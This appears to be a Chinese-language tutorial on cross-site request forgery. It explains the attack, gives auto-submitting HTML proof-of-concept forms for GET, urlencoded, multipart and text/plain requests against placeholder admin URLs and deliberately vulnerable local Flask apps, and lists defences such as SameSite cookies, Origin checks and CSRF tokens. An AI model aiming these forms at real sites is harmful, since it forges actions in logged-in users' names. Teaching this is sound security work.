神魔是CSRF

CSRF(Cross-Site Request Forgery)跨站请求伪造,攻击者通过一些手段欺骗用户去访问自己认证过的且参数可被攻击者预知的网站,以用户的身份来执行一些敏感操作。

CSRF VS XSS:

  • CSRF:伪装成受信任的用户去请求受信任的网站
  • XSS:直接窃取他人用户身份凭证

CSRF分类

请求方式 \ Content-type 可被利用的 Content-Type 说明
GET 任意类型(请求参数在 URL 中) 简单构造 <img> 或 location.href 即可
POST 1. application/x-www-form-urlencoded 2. multipart/form-data 3. text/plain 需要构造
并指定 enctype

判断是否有csrf:
通过看你想执行的任务成没成功来判断是否有csrf


GET型

仅仅需要HTTP请求即可构造csrf

例子:
https://test.com/admin/reSendByBirthDay?birthDay=YYYYMMDD

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CSRF POC</title>
<script>
window.onload = function (){
window.location.href = "https://test.com/admin/reSendByBirthDay?birthDay=YYYYMMDD"
};
</script>
</head>
</html>


POST型

Content-Type

application/x-www-form-urlencoded(较常见)

例:
https://test.com/admin/lang/keySave
上述接口存在 CSRF 问题,攻击者可诱骗已登录后台的用户打开恶意链接后修改多语言 Key 的相关配置

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CSRF POC</title>
</head>
<body>
<form action="https://test.com/admin/lang/keySave" method="POST" enctype="application/x-www-form-urlencoded">
<input type="hidden" name="id" value="413" />
<input type="hidden" name="code" value="413413">
<input type="hidden" name="memo" value="csrf2222" />
<input type="hidden" name="type[]" value="1" />
<input type="hidden" name="status" value="2" />
<input type="submit" value="submit">
</form>

<script>
document.forms[0].submit();
</script>

</body>
</html>

修改前后对比:
修改前
运行脚本
修改后


Content-Type:multipart/form-data

利用场景:

  • 上传接口允许不上传文件
  • 文件上传接口未校验上传文件(图片文件 -> 可上传任意文件)
  • 论坛/博客后台上传图文内容

例:
victim.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, jsonify, make_response, request

app = Flask(__name__)

fake_user_db = {
"user1": {"phone": "15888888888", "avatar": None},
"user2": {"phone": "13566666666", "avatar": None}
}

session_map = {
"valid_session_user1": "user1",
"valid_session_user2": "user2"
}

def get_current_user():
session_id = request.cookies.get("session_id")
print(session_id) # valid_session_user1
return session_map.get(session_id)

@app.route("/edit", methods = ["POST"])
def edit():
current_user = get_current_user() # user1
print(current_user)
if not current_user:
return jsonify({"status": "unauthorized"}), 401
new_phoneNum = request.form.get("phone")
if new_phoneNum:
print(f'修改手机号为{new_phoneNum}')
fake_user_db[current_user]["phone"] = new_phoneNum
avatar = request.files.get("file")
if avatar:
fake_user_db[current_user]["avatar"] = avatar.filename
print(f"上传文件: {avatar.filename}")
return jsonify({
"status": "修改成功",
"username": current_user,
"phone": fake_user_db[current_user]["phone"],
"avatar": fake_user_db[current_user]["avatar"]
})

@app.route("/login/<user>", methods = ["GET"])
def login(user):
if user not in fake_user_db:
return jsonify({"status": "error", "message": "用户不存在"})
res = make_response(jsonify({
"status":"ok","user": f"{user} 已登录"
}))
res.set_cookie("session_id",f"valid_session_{user}")
return res

if __name__ == "__main__":
app.run(host="127.0.0.1", port=5002, debug=True)

hack.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<meta charset="utf-8">
<html>

<head>
<title>CSRF Attack - multipart/form-data</title>
</head>

<body>
<h3>修改phone</h3>

<form id="csrf-form" action="http://127.0.0.1:5002/edit" method="POST" enctype="multipart/form-data">
<input type="text" name="phone" value="6666666666666">
<input type="file" name="avatar" value="" />
<input type="submit" value="submit" />
</form>

<script>
document.getElementById("csrf-form").submit();
</script>
</body>

</html>

登录
运行脚本手机号

Content-Type:text/plain

例:
victim.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from flask import Flask, request, jsonify, make_response

app = Flask(__name__)

fake_user_db = {
"user1": {"username": "user1"},
"user2": {"username": "user2"}
}

session_map = {
"valid_session_user1": "user1",
"valid_session_user2": "user2"
}

def get_current_user():
session_id = request.cookies.get("session_id")
return session_map.get(session_id)

@app.route("/login/<user>", methods=["GET"])
def login(user):
if user not in fake_user_db:
return jsonify({"status": "invalid user"}), 400

session_token = f"valid_session_{user}"
session_map[session_token] = user
resp = make_response(jsonify({"status": "logged_in", "user": user}))
resp.set_cookie("session_id", session_token)
return resp

@app.route("/text", methods=["POST"])
def text():
current_user = get_current_user()
if not current_user:
return jsonify({"status": "unauthorized"}), 401

text = request.get_data(as_text=True)
print(f"[{current_user}] 提交的文本: {text}")
return f"you got it, {text} (from {current_user})"

if __name__ == "__main__":
app.run(port=5001)

hack2.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<meta charset="utf-8">
<html>

<head>
<title>CSRF Attack - multipart/form-data</title>
</head>

<body>
<h3>修改text</h3>

<form id="csrf-form" action="http://127.0.0.1:5001/text" method="POST" enctype="text/plain">
<textarea name="text">hack success</textarea>
<input type="submit" value="submit" />
</form>

<script>
document.getElementById("csrf-form").submit();
</script>
</body>

</html>

登录 user1
运行脚本
响应


修复方式

  1. Cookie属性 SameSite = Strict
    SameSite 属性 是否允许跨站带 Cookie 说明
    Strict ❌ 不允许跨站 最严格,只允许同源访问
    Lax(默认) ⭕ GET 可以 相对宽松,允许 GET 表单或链接跳转
    None ✅ 都允许(不安全) 完全允许(但必须配合 Secure)

Secure: 只允许通过 HTTPS 发送 Cookie
允许 SameSite=None,说明你接受跨站请求时也能带上这个 Cookie。
如果没有 Secure,攻击者可以诱导浏览器访问一个伪造的 HTTP 地址,中间人就能拦截 Cookie。
设置了 SameSite=None 但没加 Secure,浏览器会拒绝这个 Cookie 生效。
缺点:太严格,跳转和嵌套场景会失效


  1. 验证 HTTP 的 Referer/origin
    只允许来自本站域名的请求被服务器处理
    服务器端进行判断:
  • 提取请求头中的 Referer/origin
  • 解析 Referer/origin 的域名部分(如 https://www.example.com/)
  • 对比这个域名是否是“允许来源”,通常是网站自己的域名

  1. 发起请求时加一个攻击者无法获取到的值
  • CSRF Token:Token 参数值由服务端使用“足够安全的随机数生成算法”生成并存储在客户端的 Cookie 和服务端的 session 中,如果发送请求时的参数值与 Cookie 中的 Token 参数值和 session 中的 Token 参数值不相同,那么该请求无效
  • 验证码:验证码强制用户必须与应用进行交互才能完成最终请求,因此通常情况下,验证码能够很好地遏制 CSRF 攻击,但是出于用户体验考虑,不能所有操作都加上验证码,所以验证码仅作为防御 CSRF 的一种辅助手段,不能当做最主要的解决方案。